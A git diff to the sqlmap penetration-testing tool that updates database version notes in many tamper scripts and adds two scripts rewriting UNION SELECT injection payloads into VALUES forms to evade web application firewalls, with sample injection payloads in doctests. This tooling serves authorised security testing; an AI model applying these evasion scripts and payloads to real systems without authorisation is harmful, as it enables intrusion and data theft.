diff --git a/lib/core/settings.py b/lib/core/settings.py index 2774b64a241..d86cc6dd44c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.33" +VERSION = "1.10.8.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/between.py b/tamper/between.py index 5b289cb8a4c..9999d5db1bd 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -19,16 +19,18 @@ def tamper(payload, **kwargs): Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character - * The BETWEEN clause is SQL standard. Hence, this tamper script - should work against all (?) databases + * The BETWEEN clause is SQL standard, and the rewrite was confirmed + to run unchanged on every engine listed above >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 6361a7563ba..73630b02081 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -23,9 +23,19 @@ def tamper(payload, **kwargs): Requirement: * MySQL + * MariaDB + * SQLite Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * SQLite 3.45.1 + + Notes: + * Applicability is set by the 'LIMIT M, N' input form, which only MySQL, + MariaDB and SQLite accept. PostgreSQL rejects it (it takes solely the + 'LIMIT N OFFSET M' form this script produces), so the script never has + anything to rewrite there >>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2' diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index a3fbf33b507..6d1c8d3e3d4 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -19,10 +19,12 @@ def tamper(payload, **kwargs): Prepends (inline) comment before parentheses (e.g. ( -> /**/() Tested against: - * Microsoft SQL Server - * MySQL - * Oracle - * PostgreSQL + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass web application firewalls that block usage diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index a4f8fa1c532..f61267aa468 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -18,15 +18,27 @@ def tamper(payload, **kwargs): """ Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart + Requirement: + * MySQL + * MariaDB + * SQLite + * Microsoft SQL Server + * Oracle + Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') - * The LIKE operator is SQL standard. Hence, this tamper script - should work against all (?) databases + * NOT usable against PostgreSQL, which refuses to compare a numeric + operand with LIKE (e.g. '1 LIKE 1' raises 'operator does not exist: + integer ~~ integer'), unlike the engines listed above which coerce + the operands to text >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1' diff --git a/tamper/greatest.py b/tamper/greatest.py index 742b090c1b6..d50e94a81b1 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -18,16 +18,26 @@ def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'GREATEST' counterpart + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server >= 2022 + * Oracle + Tested against: - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character - * The GREATEST clause is a widespread SQL command. Hence, this - tamper script should work against majority of databases + * NOT usable against SQLite, which has no GREATEST() (it overloads + MAX() for the multi-argument case instead). Microsoft SQL Server + only gained GREATEST() in 2022 >>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A' diff --git a/tamper/if2case.py b/tamper/if2case.py index 029c130b9cd..fe875f83d41 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -48,15 +48,18 @@ def tamper(payload, **kwargs): Requirement: * MySQL - * SQLite (possibly) - * SAP MaxDB (possibly) + * MariaDB Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IF() functions + * The CASE replacement itself is standard SQL and runs anywhere, but the + 'IF(A, B, C)' input form is MySQL/MariaDB-only (SQLite, for one, has no + IF() function), so there is nothing to rewrite on other engines >>> tamper('IF(1, 2, 3)') 'CASE WHEN (1) THEN (2) ELSE (3) END' diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 9d94e467145..e37f21787d1 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -19,15 +19,17 @@ def tamper(payload, **kwargs): Requirement: * MySQL - * SQLite (possibly) - * SAP MaxDB (possibly) + * MariaDB Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() functions + * NOT usable against SQLite, despite it having IFNULL(): the replacement + needs ISNULL(), which SQLite does not provide >>> tamper('IFNULL(1, 2)') 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 3ede6ac358f..778489f0561 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -19,15 +19,17 @@ def tamper(payload, **kwargs): Requirement: * MySQL - * SQLite (possibly) - * SAP MaxDB (possibly) + * MariaDB Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function + * NOT usable against SQLite, despite it having IFNULL(): the replacement + needs both IF() and ISNULL(), neither of which SQLite provides >>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' diff --git a/tamper/least.py b/tamper/least.py index a4f84a5a9a3..8a7a81bbea2 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -18,16 +18,26 @@ def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'LEAST' counterpart + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server >= 2022 + * Oracle + Tested against: - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character - * The LEAST clause is a widespread SQL command. Hence, this - tamper script should work against majority of databases + * NOT usable against SQLite, which has no LEAST() (it overloads + MIN() for the multi-argument case instead). Microsoft SQL Server + only gained LEAST() in 2022 >>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1' diff --git a/tamper/lowercase.py b/tamper/lowercase.py index ab0fa2e9a0c..9cc73143217 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -20,10 +20,12 @@ def tamper(payload, **kwargs): Replaces each keyword character with lower case value (e.g. SELECT -> select) Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass very weak and bespoke web application firewalls diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index ab02a0c911c..07e56d2deee 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -21,6 +21,14 @@ def tamper(payload, **kwargs): """ Adds multiple spaces (' ') around SQL keywords + Tested against: + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai + Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 9535444cc33..6d6fac6260e 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -22,16 +22,17 @@ def tamper(payload, **kwargs): Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 - * SQLite 3 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions - * This tamper script should work against all (?) databases + * Keyword case is insignificant on every engine listed above >>> import random >>> random.seed(0) diff --git a/tamper/sign.py b/tamper/sign.py index ff15c5c8e1a..33e6593ec05 100644 --- a/tamper/sign.py +++ b/tamper/sign.py @@ -19,10 +19,12 @@ def tamper(payload, **kwargs): Replaces greater than operator ('>') with 'SIGN' counterpart (e.g. SIGN((A)-(B))=1) Tested against: - * MySQL 5 - * Oracle 11g - * PostgreSQL 9 - * Microsoft SQL Server 2012 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass filtering of comparison operators altogether (>, <, diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 016b17cc6c4..7026bbe9a36 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -18,10 +18,12 @@ def tamper(payload, **kwargs): Replaces space character (' ') with comments '/**/' Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 9db2791c9f4..f309ea58d24 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -18,10 +18,17 @@ def tamper(payload, **kwargs): Replaces (MySQL) instances of space character (' ') with comments '/**_**/' Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls + * Despite the script's name, '/**_**/' is a valid comment on every engine + listed above, not just MySQL >>> tamper('SELECT id FROM users') 'SELECT/**_**/id/**_**/FROM/**_**/users' diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index c8007d67c17..ab60ecaf262 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -18,6 +18,14 @@ def tamper(payload, **kwargs): """ Replaces instances of UNION ALL SELECT with UNION SELECT counterpart + Tested against: + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai + >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' """ diff --git a/tamper/unionvalues.py b/tamper/unionvalues.py new file mode 100644 index 00000000000..29606f37534 --- /dev/null +++ b/tamper/unionvalues.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT with the standard SQL table value constructor UNION VALUES () + + Requirement: + * MariaDB + * PostgreSQL + * SQLite + * CockroachDB + * CrateDB + * Presto + + Tested against: + * MariaDB 10.11.14, 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * CockroachDB, CrateDB, Trino + + Notes: + * Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the + resulting payload carries no SELECT token at all + * MySQL requires the row constructor to be spelled 'VALUES ROW(...)' and rejects this form + (see tamper script 'unionvaluesrow'), while Oracle and Microsoft SQL Server have no + standalone VALUES query at all + * A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those + produced by --union-from) are deliberately left untouched + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '-1 UNION ALL VALUES (NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -' + >>> tamper('-1 UNION SELECT 45,45#') + '-1 UNION VALUES (45,45)#' + >>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -') + '-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -' + """ + + def _(match): + columns = match.group("columns").rstrip() + + if re.search(r"(?i)\bFROM\b", columns): + return match.group(0) + + return "%s%s VALUES (%s)" % (match.group("union"), match.group("all") or "", columns) + + return re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+(?P.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload diff --git a/tamper/unionvaluesrow.py b/tamper/unionvaluesrow.py new file mode 100644 index 00000000000..6c7e1656561 --- /dev/null +++ b/tamper/unionvaluesrow.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT with the (MySQL) table value constructor UNION VALUES ROW() + + Requirement: + * MySQL >= 8.0.19 + + Tested against: + * MySQL 8.0.46, 8.4.9 + + Notes: + * Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the + resulting payload carries no SELECT token at all + * MySQL mandates the ROW keyword here, while MariaDB and the other engines supporting a + standalone VALUES query reject it (see tamper script 'unionvalues') + * A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those + produced by --union-from) are deliberately left untouched + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '-1 UNION ALL VALUES ROW(NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -' + >>> tamper('-1 UNION SELECT 45,45#') + '-1 UNION VALUES ROW(45,45)#' + >>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -') + '-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -' + """ + + def _(match): + columns = match.group("columns").rstrip() + + if re.search(r"(?i)\bFROM\b", columns): + return match.group(0) + + return "%s%s VALUES ROW(%s)" % (match.group("union"), match.group("all") or "", columns) + + return re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+(?P.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 81774a99968..ea4e6ee45c3 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -20,15 +20,17 @@ def tamper(payload, **kwargs): Replaces each keyword character with upper case value (e.g. select -> SELECT) Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions - * This tamper script should work against all (?) databases + * Keyword case is insignificant on every engine listed above >>> tamper('insert') 'INSERT'